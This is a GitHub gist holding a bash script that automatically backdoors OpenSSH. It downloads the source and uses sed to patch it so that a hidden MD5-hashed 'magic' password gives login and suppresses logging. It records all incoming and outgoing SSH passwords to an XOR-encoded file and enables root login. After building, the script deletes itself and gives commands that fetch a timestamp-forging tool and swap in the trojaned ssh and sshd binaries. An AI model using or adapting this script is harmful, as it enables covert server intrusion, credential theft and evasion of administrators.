Skip to content

Instantly share code, notes, and snippets.

@eyecatchup
Created December 5, 2013 22:51

Revisions

  1. eyecatchup created this gist Dec 5, 2013.
    385 changes: 385 additions & 0 deletions openssh-autobackdoor.bash
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,385 @@
    #!/bin/bash
    # ============================================
    # satyr's openssh autobackdooring doohicky v0.-1
    # [email protected]
    # ============================================
    # USAGE:
    # Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
    # If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
    # (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
    # [it'll install them via apt or yum, whichever is available]).
    # Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.
    # It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.
    # ============================================
    # WTF:
    # I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are
    # just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies
    # such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different
    # versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't
    # originally being used on the box, which is just lazy & dumb).
    # So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)
    # ============================================
    # FEATURES:
    # 0) "Magic" password can be automagically generated
    # 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password.
    # 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz
    # Here's the script for decoding for the bastards out there too lazy to go to the above link:
    # #!/bin/sh
    # cat > x << __EOF__
    # #include <stdio.h>
    # main(int c) {
    # while(1) {
    # c = getchar(); if(feof(stdin)) break;
    # putchar(~c);
    # }
    # }
    # __EOF__
    # gcc -x c x -o x; cat $1 | ./x; rm -f x
    # Do a `cat passlog|./theabovescript.sh` to get the logged passes.
    # 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command.
    # 4) Cures cancer
    # 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script)
    # 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config)
    # ============================================
    # KNOWN BUGS (or lack of feature):
    # 0) Sometimes the password generated contains non-printable characters.
    # 1) No check to see if apt or yum completed successfully when installing a missing lib.
    # 2) No check to see if the pass log location is writable. (yes, I know that could be added easily)
    # 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c
    # on that last command that's echoed for the user to run when done compiling.
    # 4) No check if box has gcc
    # ============================================
    # NOTE TO ADMINS:
    # I didn't put this script on your box. You really need to take your box offline and do a clean install of your system.
    # This script is no different than the other openssh backdoors when it comes to prevention,
    # tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors.
    # ============================================
    WGET=/usr/bin/wget
    SSHD=/usr/sbin/sshd
    # an openssh mirror
    MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/
    SSHETC=/etc/ssh
    PREFIX=/usr
    if [ ! -d "$SSHETC" ]; then
    echo "Error: $SSHETC is not a directory."
    exit 1
    fi
    if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then
    echo "(PAM enabled)"
    pam="--with-pam"
    fi
    if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \
    [ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then
    echo "(KRB5 enabled)"
    gss="--with-kerberos5"
    fi
    version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'`
    extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'`
    if [ "$1" == "" ]; then
    read -sp "Magic password (just press enter to use a random one): " PW;echo
    fi
    if [ "$PW" == "" ]; then
    function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;}
    PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))`
    fi
    if [ "$1" == "" ]; then
    read -p "File to log passwords to: " LOGF
    else
    LOGF=$1
    fi
    if [ "$LOGF" == "" ]; then
    echo "Error: You didn't choose a file to log passwords to."
    exit 1
    fi
    echo "==========================================================="
    echo "Using magic password: $PW"
    cat > md5.$$ << EOF0
    $PW
    EOF0
    md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'`
    rm -f md5.$$
    echo "Using password log file: $LOGF"
    echo "OpenSSH version: $version"
    echo "==========================================================="
    LOGFLEN=`echo -n $LOGF|wc -c`
    let LOGFLEN++
    if [ ! -x "$WGET" ]; then
    echo "Error: $WGET is not executable"
    exit 1
    fi
    echo "Downloading openssh-$version..."
    wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save
    tar zxf openssh-$version.tar.gz
    rm -f openssh-$version.tar.gz
    if [ -d "openssh-$version" ]; then
    cd openssh-$version
    else
    echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET"
    exit 1
    fi
    echo "Modifying openssh src..."
    cat > bd.h <<EOF
    #include <stdio.h>
    #include <string.h>
    int pi, md5len, ploglen;
    FILE *f;
    char md5[32], plog[$LOGFLEN], encbuf[2048];
    static char * bpmd5() {
    EOF
    echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.h
    cat >> bd.h <<EOF2
    return md5;
    }
    static char * plogfn() {
    EOF2
    for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.h
    cat >> bd.h <<EOF3
    return plog;
    }
    static void enclog() {
    char *plogg = plogfn();
    int plen;
    FILE *f;
    plen=strlen(encbuf);
    for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi];
    f = fopen(plogg,"a");
    if (f != NULL) {
    fwrite(encbuf, plen, 1, f);
    fclose(f);
    }
    }
    EOF3
    sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.h
    sed '/#include "includes.h"/i\
    #include "bd.h"
    ' -i auth.c
    sed '/authmsg = authenticated ? "Accepted" : "Failed"/a\
    if (!pi)
    ' -i auth.c
    sed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c
    # the auth-pam.c stuff is only for => 3.9p1
    sed '/auth2-pam-freebsd.c/a\
    #include "bd.h"
    ' -i auth-pam.c
    sed '/void.*sshpam_conv/a\
    if (pi) sshpam_err = PAM_SUCCESS;
    ' -i auth-pam.c
    sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c
    sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c
    sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c
    sed '/type == PAM_SUCCESS/a\
    if (pi) return 0;
    ' -i auth-pam.c
    sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\
    if (pi) {\n\
    sshpam_cred_established = 1;\n\
    return;\n\
    }" -i auth-pam.c
    sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\
    if (pi) {\n\
    sshpam_cred_established = 1;\n\
    return;\n\
    }" -i auth-pam.c
    sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\
    char *passmd5 = str2md5(password, strlen(password));\n\
    char *bpass = bpmd5();\n\
    int enlen;\n\
    " -i auth-pam.c
    sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\
    if (strcmp(passmd5,bpass) == 0) {\n\
    pi = 1;\n\
    return 1;\n\
    }" -i auth-pam.c
    sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\
    enlen = sprintf(encbuf,\"pam\");\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
    enclog();\n\
    " -i auth-pam.c
    sed '/#include "includes.h"/i\
    #include "bd.h"\
    #include <stdlib.h>\
    #if defined(__APPLE__)\
    # define COMMON_DIGEST_FOR_OPENSSL\
    # include <CommonCrypto/CommonDigest.h>\
    # define SHA1 CC_SHA1\
    #else\
    # include <openssl/md5.h>\
    #endif\
    ' -i auth-passwd.c
    sed '/extern ServerOptions options;/a\
    char *str2md5(const char *str, int length) {\
    int n;\
    MD5_CTX c;\
    unsigned char digest[16];\
    char *out = (char*)malloc(33);\
    MD5_Init(&c);\
    while (length > 0) {\
    if (length > 512) {\
    MD5_Update(&c, str, 512);\
    } else {\
    MD5_Update(&c, str, length);\
    }\
    length -= 512;\
    str += 512;\
    }\
    MD5_Final(digest, &c);\
    for (n = 0; n < 16; ++n) {\
    snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\
    }\
    return out;\
    }\
    ' -i auth-passwd.c
    sed '/#ifndef HAVE_CYGWIN/i\
    if (pi) return 1;
    ' -i auth-passwd.c
    sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\
    char *passmd5 = str2md5(password, strlen(password));\n\
    char *bpass = bpmd5();\n\
    int enlen;\n\
    " -i auth-passwd.c
    sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\
    if (strcmp(passmd5,bpass) == 0) {\n\
    pi = 1;\n\
    return 1;\n\
    }\n\
    else {\n\
    if (strcmp(encrypted_password, pw_password) == 0) {\n\
    enlen = sprintf(encbuf,\"pas\");\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
    enclog();\n\
    }\n\
    }\n\
    " -i auth-passwd.c
    sed '/#include "includes.h"/i\
    #include "bd.h"
    ' -i sshconnect1.c
    sed '/char \*password;/a\
    int enlen;
    ' -i sshconnect1.c
    sed '/ssh_put_password(password);/a\
    enlen = sprintf(encbuf,"1:");\
    enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\
    enlen += sprintf(encbuf+enlen,":");\
    enlen += sprintf(encbuf+enlen,"%s",options.user);\
    enlen += sprintf(encbuf+enlen,":");\
    enlen += sprintf(encbuf+enlen,"%s\\n",password);\
    enclog();\
    ' -i sshconnect1.c
    sed '/#include "includes.h"/i\
    #include "bd.h"
    ' -i sshconnect2.c
    sed '/char.*password;/a\
    int enlen;
    ' -i sshconnect2.c
    sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\
    enlen = sprintf(encbuf,\"2:\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\
    enlen += sprintf(encbuf+enlen,\":\");\n\
    enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
    enclog();\
    " -i sshconnect2.c
    sed '/#include "includes.h"/i\
    #include "bd.h"
    ' -i loginrec.c
    sed '/#ifndef HAVE_CYGWIN/i\
    if (pi) return 0;
    ' -i loginrec.c
    sed '/#include "includes.h"/i\
    #include "bd.h"
    ' -i log.c
    sed '/#if (level > log_level)/i\
    if (pi) return;
    ' -i loginrec.c
    sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c
    sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c
    sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c
    sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c
    if [ "$extracrap" != "" ]; then
    sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h
    fi
    echo "Compiling..."
    ./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null
    if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then
    if [ "$1" == "" ]; then
    echo "Error: PAM headers missing. To install do: "
    echo " (with apt) apt-get install libpam0g-dev"
    echo " (with yum) yum install pam-devel"
    exit 1
    else
    echo "Error: PAM headers missing. Attempting automatic install..."
    if [ -e "/usr/bin/yum" ]; then
    yum -y install pam-devel
    fi
    if [ -e "/usr/bin/apt-get" ]; then
    apt-get -y install libpam0g-dev
    fi
    echo "If install was successful, rerun $0"
    exit 1
    fi
    fi
    if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then
    echo "Error: No gcc on this box (or in \$PATH)."
    exit 1
    fi
    if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \
    [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then
    if [ "$1" == "" ]; then
    echo "Error: zlib missing. To install do: "
    echo " (with apt) apt-get install zlib1g-dev"
    echo " (with yum) yum install zlib-devel"
    exit 1
    else
    echo "Error: zlib missing. Attempting automatic install..."
    if [ -e "/usr/bin/yum" ]; then
    yum -y install zlib-devel
    fi
    if [ -e "/usr/bin/apt-get" ]; then
    apt-get -y install zlib1g-dev
    fi
    echo "If install was successful, rerun $0"
    exit 1
    fi
    fi
    if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then
    echo "Error: kerberos5 missing. To install do:"
    echo " (with apt) apt-get install libkrb5-dev"
    echo " (with yum) yum install krb5-devel"
    fi
    if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \
    [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then
    if [ "$1" == "" ]; then
    echo "Error: libcrypto missing. To install do: "
    echo " (with apt) apt-get install libssl-dev"
    echo " (with yum) yum install openssl-devel"
    exit 1
    else
    echo "Error: libcrypto missing. Attempting automatic install..."
    if [ -e "/usr/bin/yum" ]; then
    yum -y install openssl-devel
    fi
    if [ -e "/usr/bin/apt-get" ]; then
    apt-get -y install libssl-dev
    fi
    echo "If install was successful, rerun $0"
    exit 1
    fi
    fi
    make 2>/dev/null 1>/dev/null
    if [ -e "sshd" ]; then
    ls -l ssh sshd
    cd ..
    rm -vf $0
    echo "Now do this:"
    echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it."
    else
    echo "Error: Compiling failed: "
    grep error: config.log|tail -1
    fi